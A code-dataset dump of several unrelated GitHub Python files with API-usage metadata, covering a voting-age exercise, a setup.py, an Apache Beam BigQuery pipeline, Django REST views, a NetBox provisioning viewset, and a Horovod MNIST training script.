{"api_name": "matplotlib.pyplot.show", "line_number": 504, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 504, "usage_type": "name"}]} +{"seq_id": "13245382073", "text": "\"\"\"\nWrite a program that reads a person's year of birth, calculate the age\nof the person and then show whether the person can vote or not.\n\"\"\"\nimport datetime # import module datetime to get the current year\n\nbirth_year = int(input(\"What is the year of your birth? \"))\ndate = datetime.date.today()\ncurrent_year = date.strftime(\"%Y\")\nage = int(current_year) - birth_year\nif age > 16:\n print(f\"You are {age} years old. You can vote!\")\nelse:\n print(f\"You are {age} years old. You can't vote yet.\")\n", "repo_name": "ViniciusBayao/Algorithms-and-programming-logic-Python", "sub_path": "Algorithms_And_Programming_Logic(Python)/Python Exercises/ex18.py", "file_name": "ex18.py", "file_ext": "py", "file_size_in_byte": 502, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "86", "api": [{"api_name": "datetime.date.today", "line_number": 8, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 8, "usage_type": "attribute"}]} +{"seq_id": "32011497199", "text": "# -*- coding: utf-8 -*-\n'''\nsetup.py\n\ninstallation script\n\n'''\nfrom pathlib import Path\nfrom setuptools import setup, find_packages\n\n\nlong_description = (Path(__file__).parent / 'README.md').read_text()\n\n\ndef run():\n setup(\n name='pyplayscheduler',\n version='0.1.1',\n description='python library and webapp for scheduling pickleball games',\n long_description=long_description,\n long_description_content_type='text/markdown',\n author='Eric Truett',\n author_email='sansbacon@gmail.com',\n license='MIT',\n packages=find_packages(),\n package_data={'pyscheduler': ['data/*.json']},\n zip_safe=False,\n classifiers=[\n 'Programming Language :: Python :: 3',\n 'License :: OSI Approved :: MIT License',\n 'Operating System :: OS Independent',\n ],\n python_requires='>=3.8'\n )\n\n\nif __name__ == '__main__':\n run()", "repo_name": "sansbacon/pyplayscheduler", "sub_path": "setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 898, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "pathlib.Path", "line_number": 12, "usage_type": "call"}, {"api_name": "setuptools.setup", "line_number": 16, "usage_type": "call"}, {"api_name": "setuptools.find_packages", "line_number": 25, "usage_type": "call"}]} +{"seq_id": "13486263502", "text": "#\n# BigQuery Process\n# Taylor Bell\n# 2022.1.5\n#\n\n# imports\nimport apache_beam as beam\nfrom apache_beam.options.pipeline_options import PipelineOptions\nfrom apache_beam.io.gcp.internal.clients import bigquery\n\n\nclass ChangeDataType(beam.DoFn):\n def process(self, element):\n # print(element)\n # print(type(element[\"cust_tier_code\"]))\n element[\"cust_tier_code\"] = str(element[\"cust_tier_code\"])\n element[\"sku\"] = int(element[\"sku\"])\n # print(type(element[\"cust_tier_code\"]))\n # print(element)\n yield element\n\n\ndef run():\n\n opt = PipelineOptions(\n temp_location=\"gs://york-trb/tmp/\",\n staging_location=\"gs://york-trb/staging\",\n project=\"york-cdf-start\",\n region=\"us-central1\",\n job_name=\"taylor-bell-process3\",\n save_main_session=True\n )\n\n export_1_schema = {\n 'fields': [\n {'name': 'cust_tier_code', 'type': 'STRING', 'mode': 'REQUIRED'},\n {'name': 'sku', 'type': 'INTEGER', 'mode': 'REQUIRED'},\n {'name': 'total_no_of_product_views', 'type': 'INTEGER', 'mode': 'REQUIRED'}\n ]\n }\n export_2_schema = {\n 'fields': [\n {'name': 'cust_tier_code', 'type': 'STRING', 'mode': 'REQUIRED'},\n {'name': 'sku', 'type': 'INTEGER', 'mode': 'REQUIRED'},\n {'name': 'total_sales_amount', 'type': 'FLOAT', 'mode': 'REQUIRED'}\n ]\n }\n\n out_table1 = bigquery.TableReference(\n projectId=\"york-cdf-start\",\n datasetId=\"final_taylor_bell\",\n tableId=\"cust_tier_code-sku-total_no_of_product_views\"\n )\n\n out_table2 = bigquery.TableReference(\n projectId=\"york-cdf-start\",\n datasetId=\"final_taylor_bell\",\n tableId=\"cust_tier_code-sku-total_sales_amount\"\n )\n\n with beam.Pipeline(runner=\"DataflowRunner\", options=opt) as pipeline:\n\n # read in data from BigQuery using SQL queries\n data1 = pipeline | \"ReadFromBigQuery1\" >> beam.io.ReadFromBigQuery(\n query=\"WITH CTE AS ( \" \\\n \"SELECT c.CUST_TIER_CODE as cust_tier_code, SKU as sku, COUNT(p.SKU) as total_no_of_product_views \" \\\n \"FROM `york-cdf-start.final_input_data.product_views` as p \" \\\n \"JOIN `york-cdf-start.final_input_data.customers` as c ON p.CUSTOMER_ID = c.CUSTOMER_ID \" \\\n \"GROUP BY sku, cust_tier_code \" \\\n \"ORDER BY total_no_of_product_views DESC \" \\\n \") SELECT cust_tier_code, sku, total_no_of_product_views FROM CTE \" \\\n \"ORDER BY cust_tier_code, total_no_of_product_views DESC;\",\n use_standard_sql=True\n )\n data2 = pipeline | \"ReadFromBigQuery2\" >> beam.io.ReadFromBigQuery(\n query=\"WITH CTE AS ( \" \\\n \"SELECT c.CUST_TIER_CODE as cust_tier_code, SKU as sku, SUM(o.ORDER_AMT) as total_sales_amount \" \\\n \"FROM `york-cdf-start.final_input_data.orders` as o \" \\\n \"JOIN `york-cdf-start.final_input_data.customers` as c ON o.CUSTOMER_ID = c.CUSTOMER_ID \" \\\n \"GROUP BY sku, cust_tier_code \" \\\n \"ORDER BY total_sales_amount DESC \" \\\n \") SELECT cust_tier_code, sku, total_sales_amount FROM CTE \" \\\n \"ORDER BY cust_tier_code, total_sales_amount DESC;\",\n use_standard_sql=True\n )\n\n # convert data types\n converted1 = data1 | \"ChangeDataType1\" >> beam.ParDo(ChangeDataType())\n converted2 = data2 | \"ChangeDataType2\" >> beam.ParDo(ChangeDataType())\n\n # write to bigquery tables\n converted1 | \"Write1\" >> beam.io.WriteToBigQuery(\n out_table1,\n schema=export_1_schema,\n create_disposition=beam.io.BigQueryDisposition.CREATE_IF_NEEDED,\n custom_gcs_temp_location=\"gs://york-trb/tmp\"\n )\n converted2 | \"Write2\" >> beam.io.WriteToBigQuery(\n out_table2,\n schema=export_2_schema,\n create_disposition=beam.io.BigQueryDisposition.CREATE_IF_NEEDED,\n custom_gcs_temp_location=\"gs://york-trb/tmp\"\n )\n\n\nif __name__ == '__main__':\n run()\n", "repo_name": "taylorryanbell/big-query-process", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 4168, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "apache_beam.DoFn", "line_number": 13, "usage_type": "attribute"}, {"api_name": "apache_beam.options.pipeline_options.PipelineOptions", "line_number": 26, "usage_type": "call"}, {"api_name": "apache_beam.io.gcp.internal.clients.bigquery.TableReference", "line_number": 50, "usage_type": "call"}, {"api_name": "apache_beam.io.gcp.internal.clients.bigquery", "line_number": 50, "usage_type": "name"}, {"api_name": "apache_beam.io.gcp.internal.clients.bigquery.TableReference", "line_number": 56, "usage_type": "call"}, {"api_name": "apache_beam.io.gcp.internal.clients.bigquery", "line_number": 56, "usage_type": "name"}, {"api_name": "apache_beam.Pipeline", "line_number": 62, "usage_type": "call"}, {"api_name": "apache_beam.io.ReadFromBigQuery", "line_number": 65, "usage_type": "call"}, {"api_name": "apache_beam.io", "line_number": 65, "usage_type": "attribute"}, {"api_name": "apache_beam.io.ReadFromBigQuery", "line_number": 76, "usage_type": "call"}, {"api_name": "apache_beam.io", "line_number": 76, "usage_type": "attribute"}, {"api_name": "apache_beam.ParDo", "line_number": 89, "usage_type": "call"}, {"api_name": "apache_beam.ParDo", "line_number": 90, "usage_type": "call"}, {"api_name": "apache_beam.io.WriteToBigQuery", "line_number": 93, "usage_type": "call"}, {"api_name": "apache_beam.io", "line_number": 93, "usage_type": "attribute"}, {"api_name": "apache_beam.io", "line_number": 96, "usage_type": "attribute"}, {"api_name": "apache_beam.io.WriteToBigQuery", "line_number": 99, "usage_type": "call"}, {"api_name": "apache_beam.io", "line_number": 99, "usage_type": "attribute"}, {"api_name": "apache_beam.io", "line_number": 102, "usage_type": "attribute"}]} +{"seq_id": "11215440823", "text": "import time\nfrom dcim.models.devices import Device\nfrom rest_framework.renderers import TemplateHTMLRenderer\nfrom rest_framework.response import Response\nfrom rest_framework.viewsets import GenericViewSet\n\nfrom .. import serializers\nfrom ..utils import Anonymous\nfrom ..utils import ZTPTextRenderer\n\n\nclass EOSViewSet(GenericViewSet):\n\n queryset = Device.objects.all()\n renderer_classes = [ZTPTextRenderer]\n template_name = 'netbox_zero/api/eos.txt'\n serializer_class = serializers.DeviceSerializer\n permission_classes = [Anonymous]\n\n def use_for_request(self,request):\n return request.META.get(\"HTTP_X_ARISTA_MODELNAME\")==\"vEOS\"\n\n\n def list(self, request):\n\n serial = request.META.get('HTTP_X_ARISTA_SERIAL')\n if serial is not None:\n device = self.get_by_serial(serial)\n else :\n serial = request.META.get('HTTP_X_ARISTA_SYSTEMMAC')\n device = self.get_by_serial(serial)\n\n\n\n if device is None:\n response = Response( template_name='netbox_zero/api/404.txt',content_type='text/plain',status=404)\n return response\n\n response = Response( template_name=self.template_name,content_type='text/plain')\n response.data=self.get_serializer(device, many=False).data\n\n\n return response\n\n\n def get_by_serial(self, serial):\n device = Device.objects.prefetch_related('interfaces').get(serial=serial)\n\n\n return device", "repo_name": "sapcc/netbox-zero", "sub_path": "netbox_zero/api/platform/eos.py", "file_name": "eos.py", "file_ext": "py", "file_size_in_byte": 1452, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "86", "api": [{"api_name": "rest_framework.viewsets.GenericViewSet", "line_number": 12, "usage_type": "name"}, {"api_name": "dcim.models.devices.Device.objects.all", "line_number": 14, "usage_type": "call"}, {"api_name": "dcim.models.devices.Device.objects", "line_number": 14, "usage_type": "attribute"}, {"api_name": "dcim.models.devices.Device", "line_number": 14, "usage_type": "name"}, {"api_name": "utils.ZTPTextRenderer", "line_number": 15, "usage_type": "name"}, {"api_name": "utils.Anonymous", "line_number": 18, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 36, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 39, "usage_type": "call"}, {"api_name": "dcim.models.devices.Device.objects.prefetch_related", "line_number": 47, "usage_type": "call"}, {"api_name": "dcim.models.devices.Device.objects", "line_number": 47, "usage_type": "attribute"}, {"api_name": "dcim.models.devices.Device", "line_number": 47, "usage_type": "name"}]} +{"seq_id": "12522821108", "text": "import io, os\n\nfrom PIL import Image\n\n\nclass Directory:\n\t\n\tdef __init__(self):\n\t\tself.dir_name = os.path.join(\"data\")\n\t\n\t\n\tdef open(self, *args):\n\t\t\n\t\t\"\"\"\n\t\tOpen dir\n\t\t\"\"\"\n\t\t\n\t\tself.dir_name = os.path.join(*args)\n\t\n\t\n\tdef flush(self):\n\t\t\n\t\t\"\"\"\n\t\tFlush dir\n\t\t\"\"\"\n\t\t\n\t\tpass\n\t\n\t\n\tdef close(self):\n\t\t\n\t\t\"\"\"\n\t\tClose dir\n\t\t\"\"\"\n\t\t\n\t\tself.flush()\n\t\n\t\n\tdef get_dataset_path(self, *args):\n\t\t\n\t\t\"\"\"\n\t\tReturns dataset full path\n\t\t\"\"\"\n\t\t\n\t\treturn os.path.join(self.dir_name, *args)\n\t\n\t\n\t\n\tdef list_files(self, *args, recursive=True):\n\t\n\t\t\"\"\"\n\t\tReturns files in folder\n\t\t\"\"\"\n\t\n\t\tdef read_dir(path, recursive=True):\n\t\t\tres = []\n\t\t\titems = os.listdir(path)\n\t\t\tfor item in items:\n\t\t\t\t\n\t\t\t\titem_path = os.path.join(path, item)\n\t\t\t\t\n\t\t\t\tif item_path == \".\" or item_path == \"..\":\n\t\t\t\t\tcontinue\n\t\t\t\t\n\t\t\t\tif os.path.isdir(item_path):\n\t\t\t\t\tif recursive:\n\t\t\t\t\t\tres = res + read_dir(item_path, recursive)\n\t\t\t\telse:\n\t\t\t\t\tres.append(item_path)\n\t\t\t\t\n\t\t\treturn res\n\t\t\n\t\ttry:\n\t\t\tdir_name = self.get_dataset_path(*args)\n\t\t\t\n\t\t\titems = read_dir( dir_name, recursive )\n\t\t\t\t\n\t\t\tdef f(item):\n\t\t\t\treturn item[len(dir_name + \"/\"):]\n\t\t\t\n\t\t\titems = list( map(f, items) )\n\t\t\n\t\texcept Exception:\n\t\t\titems = []\n\t\t\n\t\treturn items\n\t\n\t\n\tdef list_dirs(self, *args):\n\t\t\n\t\t\"\"\"\n\t\tReturns dirs in folder\n\t\t\"\"\"\n\t\t\n\t\tdir_name = self.get_dataset_path(*args)\n\t\t\n\t\ttry:\n\t\t\titems = os.listdir(dir_name)\n\t\t\n\t\texcept Exception:\n\t\t\titems = []\n\t\t\t\n\t\treturn items\n\t\t\n\t\n\tdef save_bytes(self, file_name, data):\n\t\t\n\t\t\"\"\"\n\t\tSave bytes to file\n\t\t\"\"\"\n\t\t\n\t\tfile_path = self.get_dataset_path(file_name)\n\t\tfile_dir = os.path.dirname(file_path)\n\t\t\n\t\tif not os.path.isdir(file_dir):\n\t\t\tos.makedirs(file_dir)\n\t\t\n\t\tf = open(file_path, 'wb')\n\t\tf.write(data)\n\t\tf.close()\n\t\t\n\t\n\tdef read_bytes(self, file_name):\n\t\t\n\t\t\"\"\"\n\t\tLoad bytes from file\n\t\t\"\"\"\n\t\t\n\t\tfile_path = self.get_dataset_path(file_name)\n\t\t\n\t\tf = open(file_path, 'rb')\n\t\tdata = f.read()\n\t\tf.close()\n\t\t\n\t\treturn data\n\t\n\t\t\n\tdef save_file(self, file_name, data):\n\t\t\n\t\t\"\"\"\n\t\tSave file\n\t\t\"\"\"\n\t\t\n\t\tbytes = None\n\t\t\n\t\tif isinstance(data, Image.Image):\n\t\t\ttmp = io.BytesIO()\n\t\t\tdata.save(tmp, format='PNG')\n\t\t\tbytes = tmp.getvalue()\n\t\t\n\t\tif (isinstance(data, str)):\n\t\t\tbytes = data.encode(\"utf-8\")\n\t\t\n\t\tif bytes is not None:\n\t\t\tself.save_bytes(file_name, bytes)\n\t\t\n\t\tpass\n\t\n\t\n\t\n\tdef read_file(self, file_name):\n\t\t\n\t\t\"\"\"\n\t\tRead file\n\t\t\"\"\"\n\t\t\n\t\treturn self.read_bytes(file_name)\n\t\n\t", "repo_name": "bayrell/tiny_ai_helper", "sub_path": "old/Directory.py", "file_name": "Directory.py", "file_ext": "py", "file_size_in_byte": 2355, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "os.path.join", "line_number": 9, "usage_type": "call"}, {"api_name": "os.path", "line_number": 9, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 18, "usage_type": "call"}, {"api_name": "os.path", "line_number": 18, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 45, "usage_type": "call"}, {"api_name": "os.path", "line_number": 45, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 57, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 60, "usage_type": "call"}, {"api_name": "os.path", "line_number": 60, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 65, "usage_type": "call"}, {"api_name": "os.path", "line_number": 65, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 98, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 113, "usage_type": "call"}, {"api_name": "os.path", "line_number": 113, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 115, "usage_type": "call"}, {"api_name": "os.path", "line_number": 115, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 116, "usage_type": "call"}, {"api_name": "PIL.Image.Image", "line_number": 146, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 146, "usage_type": "name"}, {"api_name": "io.BytesIO", "line_number": 147, "usage_type": "call"}]} +{"seq_id": "34926174128", "text": "from envparse import env\n\nfrom .base import * # noqa\n\n\nALLOWED_HOSTS = env.bool(\"DJANGO_ALLOWED_HOSTS\", default=[\"*\"])\nDEBUG = env.bool(\"DJANGO_DEBUG\", default=True)\nRQ_ENABLED = env.bool(\"RQ_ENABLED\", default=False)\n\nWEBPACK_LOADER[\"DEFAULT\"][\"STATS_FILE\"] = os.path.join(\n FRONTEND_DIR, \"webpack-stats-dev.json\"\n)\n", "repo_name": "dammitjim/badfeed", "sub_path": "config/settings/local.py", "file_name": "local.py", "file_ext": "py", "file_size_in_byte": 320, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "envparse.env.bool", "line_number": 6, "usage_type": "call"}, {"api_name": "envparse.env", "line_number": 6, "usage_type": "name"}, {"api_name": "envparse.env.bool", "line_number": 7, "usage_type": "call"}, {"api_name": "envparse.env", "line_number": 7, "usage_type": "name"}, {"api_name": "envparse.env.bool", "line_number": 8, "usage_type": "call"}, {"api_name": "envparse.env", "line_number": 8, "usage_type": "name"}]} +{"seq_id": "19409312569", "text": "\nfrom django.shortcuts import render\n\nfrom .models import Employee\nfrom .serializers import EmployeeSerializer\nfrom rest_framework.views import APIView\n\nfrom rest_framework.response import Response\nfrom rest_framework import status\n\nclass EmployeeListView(APIView):\n def get(self,request):\n emps = Employee.objects.all()\n\n serializer = EmployeeSerializer(emps,many=True)\n\n return Response(\n serializer.data,\n status=status.HTTP_200_OK\n )\n\n def post(self,request):\n serializer = EmployeeSerializer(data=request.data)\n\n if serializer.is_valid():\n serializer.save()\n return Response(\n serializer.data, status=status.HTTP_201_CREATED)\n\n else:\n return Response(\n serializer.errors,status=status.HTTP_400_BAD_REQUEST)\n\n\n\nclass EmployeeDetailView(APIView):\n def get(self,request,id):\n try:\n emp = Employee.objects.get(eno=id)\n except Employee.DoesNotExist:\n return Response('Record Not found')\n else:\n serializer = EmployeeSerializer(emp)\n return Response(serializer.data,\n status=status.HTTP_200_OK)\n\n\n def get_object_by_id(self,id):\n try:\n emp = Employee.objects.get(eno=id)\n except Employee.DoesNotExist:\n emp = None\n return emp\n\n\n def put(self,request,id):\n emp = self.get_object_by_id(id)\n if emp is None:\n return Response('Record is not available to update')\n else:\n serializer = EmployeeSerializer(emp , data=request.data)\n\n if serializer.is_valid():\n serializer.save()\n return Response(serializer.data,\n status=status.HTTP_200_OK)\n else:\n return Response(serializer.errors,\n status=status.HTTP_400_BAD_REQUEST)\n\n def delete(self,request,id):\n emp = self.get_object_by_id(id)\n\n if emp is None:\n return Response('Record is not available to Deleting',\n status=status.HTTP_404_NOT_FOUND)\n else:\n emp.delete()\n return Response('Record deleted successfully',\n status=status.HTTP_204_NO_CONTENT)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "repo_name": "srinivasrao452/APIView_Project", "sub_path": "APIView_App/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 2388, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "rest_framework.views.APIView", "line_number": 11, "usage_type": "name"}, {"api_name": "models.Employee.objects.all", "line_number": 13, "usage_type": "call"}, {"api_name": "models.Employee.objects", "line_number": 13, "usage_type": "attribute"}, {"api_name": "models.Employee", "line_number": 13, "usage_type": "name"}, {"api_name": "serializers.EmployeeSerializer", "line_number": 15, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 17, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 19, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 19, "usage_type": "name"}, {"api_name": "serializers.EmployeeSerializer", "line_number": 23, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 27, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_201_CREATED", "line_number": 28, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 28, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 31, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 32, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 32, "usage_type": "name"}, {"api_name": "rest_framework.views.APIView", "line_number": 36, "usage_type": "name"}, {"api_name": "models.Employee.objects.get", "line_number": 39, "usage_type": "call"}, {"api_name": "models.Employee.objects", "line_number": 39, "usage_type": "attribute"}, {"api_name": "models.Employee", "line_number": 39, "usage_type": "name"}, {"api_name": "models.Employee.DoesNotExist", "line_number": 40, "usage_type": "attribute"}, {"api_name": "models.Employee", "line_number": 40, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 41, "usage_type": "call"}, {"api_name": "serializers.EmployeeSerializer", "line_number": 43, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 44, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 45, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 45, "usage_type": "name"}, {"api_name": "models.Employee.objects.get", "line_number": 50, "usage_type": "call"}, {"api_name": "models.Employee.objects", "line_number": 50, "usage_type": "attribute"}, {"api_name": "models.Employee", "line_number": 50, "usage_type": "name"}, {"api_name": "models.Employee.DoesNotExist", "line_number": 51, "usage_type": "attribute"}, {"api_name": "models.Employee", "line_number": 51, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 59, "usage_type": "call"}, {"api_name": "serializers.EmployeeSerializer", "line_number": 61, "usage_type": "call"}, {"api_name": "rest_framework.response.Response", "line_number": 65, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 66, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 66, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 68, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 69, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 69, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 75, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_404_NOT_FOUND", "line_number": 76, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 76, "usage_type": "name"}, {"api_name": "rest_framework.response.Response", "line_number": 79, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_204_NO_CONTENT", "line_number": 80, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 80, "usage_type": "name"}]} +{"seq_id": "38114114646", "text": "import base64\nfrom file_encode_decode.consumer.file_encode import file_encode\n\ndef file_decode(f_image):\n v = f_image.encode('utf-8')\n with open('best.xlsx', 'wb') as file_save:\n file_image=base64.decodebytes(v)\n file_save.write(file_image)\n\nf = file_encode()\nfile_decode(f)", "repo_name": "vihuravi/file-encode-decode", "sub_path": "producer/file_decode.py", "file_name": "file_decode.py", "file_ext": "py", "file_size_in_byte": 294, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "base64.decodebytes", "line_number": 7, "usage_type": "call"}, {"api_name": "file_encode_decode.consumer.file_encode.file_encode", "line_number": 10, "usage_type": "call"}]} +{"seq_id": "8379228618", "text": "import tensorflow as tf\nimport horovod.tensorflow.keras as hvd\n\n# Horovod: initialize Horovod.\nhvd.init()\n\n# Horovod: pin GPU to be used to process local rank (one GPU per process)\ngpus = tf.config.experimental.list_physical_devices('GPU')\nfor gpu in gpus:\n tf.config.experimental.set_memory_growth(gpu, True)\nif gpus:\n tf.config.experimental.set_visible_devices(gpus[hvd.local_rank()], 'GPU')\n\n# Load MNIST data using built-in datasets download function\nmnist = tf.keras.datasets.mnist\n(x_train, y_train), (x_test, y_test) = mnist.load_data()\n\n#Noramalize the pixel values by deviding each pixel by 255\nx_train, x_test = x_train / 255.0, x_test / 255.0\n\nBUFFER_SIZE = len(x_train)\nBATCH_SIZE_PER_REPLICA = 16\nGLOBAL_BATCH_SIZE = BATCH_SIZE_PER_REPLICA * 2\nEPOCHS = 100\nSTEPS_PER_EPOCH = int(BUFFER_SIZE/EPOCHS)\n\ntrain_dataset = tf.data.Dataset.from_tensor_slices((x_train, y_train)).repeat().shuffle(BUFFER_SIZE).batch(GLOBAL_BATCH_SIZE,drop_remainder=True)\ntest_dataset = tf.data.Dataset.from_tensor_slices((x_test, y_test)).batch(GLOBAL_BATCH_SIZE)\n\n\nmnist_model = tf.keras.Sequential([\n tf.keras.layers.Conv2D(32, [3, 3], activation='relu'),\n tf.keras.layers.Conv2D(64, [3, 3], activation='relu'),\n tf.keras.layers.MaxPooling2D(pool_size=(2, 2)),\n tf.keras.layers.Dropout(0.25),\n tf.keras.layers.Flatten(),\n tf.keras.layers.Dense(128, activation='relu'),\n tf.keras.layers.Dropout(0.5),\n tf.keras.layers.Dense(10, activation='softmax')\n])\n\n# Horovod: adjust learning rate based on number of GPUs.\nopt = tf.optimizers.Adam(0.001 * hvd.size())\n\n# Horovod: add Horovod DistributedOptimizer.\nopt = hvd.DistributedOptimizer(opt)\n\n# Horovod: Specify `experimental_run_tf_function=False` to ensure TensorFlow\n# uses hvd.DistributedOptimizer() to compute gradients.\nmnist_model.compile(loss=tf.losses.SparseCategoricalCrossentropy(),\n optimizer=opt,\n metrics=['accuracy'],\n experimental_run_tf_function=False)\n\ncallbacks = [\n # Horovod: broadcast initial variable states from rank 0 to all other processes.\n # This is necessary to ensure consistent initialization of all workers when\n # training is started with random weights or restored from a checkpoint.\n hvd.callbacks.BroadcastGlobalVariablesCallback(0),\n\n # Horovod: average metrics among workers at the end of every epoch.\n #\n # Note: This callback must be in the list before the ReduceLROnPlateau,\n # TensorBoard or other metrics-based callbacks.\n hvd.callbacks.MetricAverageCallback(),\n\n # Horovod: using `lr = 1.0 * hvd.size()` from the very beginning leads to worse final\n # accuracy. Scale the learning rate `lr = 1.0` ---> `lr = 1.0 * hvd.size()` during\n # the first three epochs. See https://arxiv.org/abs/1706.02677 for details.\n hvd.callbacks.LearningRateWarmupCallback(warmup_epochs=3, verbose=1),\n]\n\n# Horovod: save checkpoints only on worker 0 to prevent other workers from corrupting them.\nif hvd.rank() == 0:\n callbacks.append(tf.keras.callbacks.ModelCheckpoint('./checkpoint-{epoch}.h5'))\n\n# Horovod: write logs on worker 0.\nverbose = 1 if hvd.rank() == 0 else 0\n\n# Train the model.\n# Horovod: adjust number of steps based on number of GPUs.\nmnist_model.fit(train_dataset, steps_per_epoch=500 // hvd.size(), callbacks=callbacks, epochs=24, verbose=verbose)", "repo_name": "Apress/building-computer-vision-apps-artificial-neural-networks", "sub_path": "chapter10/horovod_tensorflow_mnist.py", "file_name": "horovod_tensorflow_mnist.py", "file_ext": "py", "file_size_in_byte": 3352, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 19, "dataset": "github-code", "pt": "86", "api": [{"api_name": "horovod.tensorflow.keras.init", "line_number": 5, "usage_type": "call"}, {"api_name": "horovod.tensorflow.keras", "line_number": 5, "usage_type": "name"}, {"api_name": "tensorflow.config.experimental.list_physical_devices", "line_number": 8, "usage_type": "call"}, {"api_name": "tensorflow.config", "line_number": 8, "usage_type": "attribute"}, {"api_name": "tensorflow.config.experimental.set_memory_growth", "line_number": 10, "usage_type": "call"}, {"api_name": "tensorflow.config", "line_number": 10, "usage_type": "attribute"}, {"api_name": "tensorflow.config.experimental.set_visible_devices", "line_number": 12, "usage_type": "call"}, {"api_name": "tensorflow.config", "line_number": 12, "usage_type": "attribute"}, {"api_name": "horovod.tensorflow.keras.local_rank", "line_number": 12, "usage_type": "call"}, {"api_name": "horovod.tensorflow.keras", "line_number": 12, "usage_type": "name"}, {"api_name": "tensorflow.keras", "line_number": 15, "usage_type": "attribute"}, {"api_name": "tensorflow.data.Dataset.from_tensor_slices", "line_number": 27, "usage_type": "call"}, {"api_name": "tensorflow.data", "line_number": 27, "usage_type": "attribute"}, {"api_name": "tensorflow.data.Dataset.from_tensor_slices", "line_number": 28, "usage_type": "call"}, {"api_name": "tensorflow.data", "line_number": 28, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.Sequential", "line_number": 31, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 31, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.layers.Conv2D", "line_number": 32, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 32, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.layers.Conv2D", "line_number": 33, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 33, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.layers.MaxPooling2D", "line_number": 34, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 34, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.layers.Dropout", "line_number": 35, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 35, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.layers.Flatten", "line_number": 36, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 36, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.layers.Dense", "line_number": 37, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 37, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.layers.Dropout", "line_number": 38, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 38, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.layers.Dense", "line_number": 39, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 39, "usage_type": "attribute"}, {"api_name": "tensorflow.optimizers.Adam", "line_number": 43, "usage_type": "call"}, {"api_name": "tensorflow.optimizers", "line_number": 43, "usage_type": "attribute"}, {"api_name": "horovod.tensorflow.keras.size", "line_number": 43, "usage_type": "call"}, {"api_name": 